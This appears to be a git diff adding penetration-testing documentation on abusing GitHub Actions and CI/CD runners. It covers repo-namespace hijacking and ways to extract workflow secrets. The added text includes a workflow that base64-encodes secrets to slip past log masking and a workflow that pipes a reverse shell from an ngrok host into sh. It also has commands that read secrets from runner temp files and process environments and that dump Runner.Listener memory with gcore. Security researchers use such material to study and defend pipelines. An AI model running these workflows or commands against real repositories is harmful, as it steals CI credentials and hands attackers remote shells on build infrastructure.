diff --git a/.gitbook/assets/image (97).png b/.gitbook/assets/image (97).png new file mode 100644 index 0000000000..ee3d116e8a Binary files /dev/null and b/.gitbook/assets/image (97).png differ diff --git a/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/pentesting-ci-cd/github-security/abusing-github-actions/README.md index 6336223463..5fb99a8d96 100644 --- a/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -155,6 +155,10 @@ jobs: +It's possible to check the permissions given to a Github Token in other users repositories **checking the logs** of the actions: + +
+ ## Allowed Execution {% hint style="info" %} @@ -248,6 +252,12 @@ Moreover, according to the docs: The workflow started by the `workflow_run` even This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\ The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**. +### `workflow_call` + +TODO + +TODO: Check if when executed from a pull\_request the used/downloaded code if the one from the origin or from the forked PR + ## Abusing Forked Execution We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused: @@ -370,7 +380,13 @@ jobs: ### Deleted Namespace Repo Hijacking -This is a good blog post to read about fixed vulnerabilities that would allow an attacker to steal a deleted namespace to steal a famous repo (potentially because of a rename of the namespace): [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) +If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted. + +{% hint style="danger" %} +So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action. +{% endhint %} + +If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) *** @@ -417,7 +433,71 @@ Check the following pages: If you are injecting content into a script it's interesting to know how you can access secrets: * If the secret or token is set to an **environment variable**, it can be directly accessed through the environment using **`printenv`**. + +
+ +List secrets in Github Action output + +```yaml +name: list_env +on: + workflow_dispatch: # Launch manually + pull_request: #Run it when a PR is created to a branch + branches: + - '**' + push: # Run it when a push is made to a branch + branches: + - '**' +jobs: + List_env: + runs-on: ubuntu-latest + steps: + - name: List Env + # Need to base64 encode or github will change the secret value for "***" + run: sh -c 'env | grep "secret_" | base64 -w0' + env: + secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} + + secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} +``` + +
+ +
+ +Get reverse shell with secrets + +```yaml +name: revshell +on: + workflow_dispatch: # Launch manually + pull_request: #Run it when a PR is created to a branch + branches: + - '**' + push: # Run it when a push is made to a branch + branches: + - '**' +jobs: + create_pull_request: + runs-on: ubuntu-latest + steps: + - name: Get Rev Shell + run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' + env: + secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} + secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} +``` + +
+ * If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible. + * ```bash + cat /home/runner/work/_temp/* + ``` +* For a JavaScript actions the secrets and sent through environment variables + * ```bash + ps axe | grep node + ``` * For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**: ```yaml @@ -432,6 +512,17 @@ The way to find which **Github Actions are being executed in non-github infrastr **Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one. +In self-hosted runners it's also possible to obtain the **secrets from the **_**Runner.Listener**_** process** which will contain all the secrets of the workflows at any step by dumping its memory: + +{% code overflow="wrap" %} +```bash +sudo apt-get install -y gdb +sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')" +``` +{% endcode %} + +Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). + ### Github Docker Images Registry It's possible to make Github actions that will **build and store a Docker image inside Github**.\ diff --git a/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index 45ba05a137..eb44be9082 100644 --- a/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -816,7 +816,7 @@ When using ClusterRoles and ClusterRoleBindings, it applies on the whole cluster {% embed url="https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1" %} - +***